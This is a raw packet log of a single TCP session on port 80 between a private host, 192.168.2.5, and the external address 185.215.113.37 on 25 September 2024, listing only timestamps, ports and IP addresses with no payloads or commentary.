Sep 25, 2024 21:52:03.804487944 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:03.804497957 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:03.804510117 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:03.804527998 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:03.804547071 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:03.804563999 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:03.804579020 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:03.804615021 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:03.804615974 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:03.804650068 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:03.804671049 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:03.804699898 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:03.804703951 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:03.804738045 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:03.804754972 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:03.804773092 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:03.804797888 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:03.804809093 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:03.804828882 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:03.804841995 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:03.804863930 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:03.804893970 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:03.804912090 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:03.804929018 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:03.804955959 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:03.804964066 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:03.804976940 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:03.805000067 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:03.805021048 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:03.805057049 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:03.805270910 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:03.805331945 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:03.805360079 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:03.805392981 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:03.805414915 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:03.805444956 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:03.805501938 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:03.805533886 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:03.805555105 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:03.805567980 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:03.805583954 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:03.805603027 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:03.805619001 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:03.805660009 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:03.928234100 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:03.928270102 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:03.928309917 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:03.928328037 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:03.928344011 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:03.928359032 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:03.928381920 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:03.928394079 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:03.928410053 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:03.928427935 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:03.928441048 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:03.928464890 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:03.928482056 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:03.928510904 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:03.928534031 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:03.928584099 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:03.928585052 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:03.928637981 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:03.928642988 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:03.928673983 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:03.928697109 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:03.928706884 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:03.928735018 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:03.928757906 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:03.928769112 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:03.928798914 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:03.928813934 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:03.928844929 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:03.928849936 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:03.928884983 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:03.928904057 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:03.928935051 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:03.928939104 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:03.928972006 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:03.928985119 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:03.929006100 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:03.929024935 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:03.929048061 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:03.929064035 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:03.929083109 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:03.929101944 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:03.929119110 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:03.929138899 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:03.929148912 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:03.929177046 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:03.929194927 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:03.929202080 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:03.929234982 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:03.929258108 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:03.929267883 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:03.929282904 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:03.929303885 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:03.929323912 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:03.929353952 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:03.929354906 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:03.929388046 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:03.929404974 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:03.929439068 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:03.929440975 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:03.929471970 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:03.929505110 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:03.929505110 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:03.929531097 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:03.929541111 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:03.929555893 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:03.929577112 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:03.929589033 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:03.929610968 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:03.929630995 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:03.929666996 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:03.929686069 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:03.929739952 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:03.929811954 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:03.929840088 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:03.929872990 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:03.929873943 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:03.929905891 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:03.929922104 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:03.929923058 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:03.929944038 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:03.929953098 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:03.929980040 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:03.929997921 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:03.930027962 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:03.930094957 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:03.930128098 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:03.930150986 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:03.930160999 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:03.930177927 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:03.930196047 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:03.930214882 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:03.930232048 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:03.930237055 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:03.930267096 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:03.930284023 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:03.930305958 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:03.930321932 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:03.930357933 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:03.930388927 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:03.930422068 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:03.930442095 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:03.930455923 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:03.930471897 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:03.930507898 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.052489996 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.052558899 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.052594900 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.052628994 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.052629948 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.052664995 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.052675009 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.052720070 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.052726030 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.052753925 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.052778959 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.052791119 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.052814007 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.052826881 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.052854061 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.052860022 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.052890062 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.052895069 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.052917957 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.052947998 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.052952051 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.052985907 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.053008080 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.053031921 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.053040981 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.053091049 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.053098917 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.053147078 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.053148985 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.053177118 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.053205013 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.053215981 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.053231955 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.053251028 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.053268909 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.053284883 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.053306103 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.053324938 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.053345919 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.053359032 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.053368092 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.053391933 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.053416014 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.053426027 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.053440094 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.053463936 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.053479910 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.053498983 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.053514957 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.053551912 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.053553104 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.053586960 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.053601980 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.053622007 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.053638935 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.053652048 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.053674936 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.053689003 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.053719997 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.053736925 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.053745985 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.053781033 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.053807974 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.053829908 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.053834915 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.053864002 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.053893089 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.053898096 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.053910971 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.053937912 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.053951025 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.053972006 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.053992987 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.054007053 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.054023027 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.054042101 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.054060936 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.054078102 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.054100037 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.054111004 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.054124117 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.054147005 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.054167032 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.054184914 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.054199934 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.054240942 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.054250956 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.054274082 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.054296017 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.054307938 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.054331064 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.054342031 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.054359913 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.054377079 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.054394960 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.054409981 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.054431915 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.054466963 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.054558992 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.054591894 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.054616928 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.054627895 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.054656982 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.054663897 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.054681063 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.054698944 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.054711103 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.054738045 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.054752111 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.054790020 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.054935932 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.054971933 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.054996014 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.055006027 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.055027008 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.055038929 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.055059910 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.055075884 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.055092096 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.055111885 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.055134058 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.055151939 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.055176973 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.055185080 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.055200100 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.055219889 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.055241108 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.055252075 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.055279970 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.055285931 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.055305004 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.055320978 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.055341959 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.055355072 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.055366039 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.055411100 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.055429935 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.055460930 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.055630922 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.055664062 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.055691957 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.055699110 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.055713892 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.055731058 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.055763960 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.055766106 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.055790901 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.055798054 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.055810928 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.055833101 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.055852890 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.055866003 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.055888891 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.055900097 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.055932045 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.055951118 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.055952072 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.055968046 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.055982113 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.056003094 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.056020021 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.056037903 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.056056976 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.056076050 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.056092024 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.056111097 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.056133986 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.056143045 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.056160927 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.056179047 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.056196928 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.056214094 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.056236029 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.056246996 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.056272030 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.056282043 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.056294918 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.056339025 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.056519032 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.056552887 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.056582928 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.056586981 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.056603909 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.056622028 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.056642056 CEST	49704	80	192.168.2.5	185.215.113.37
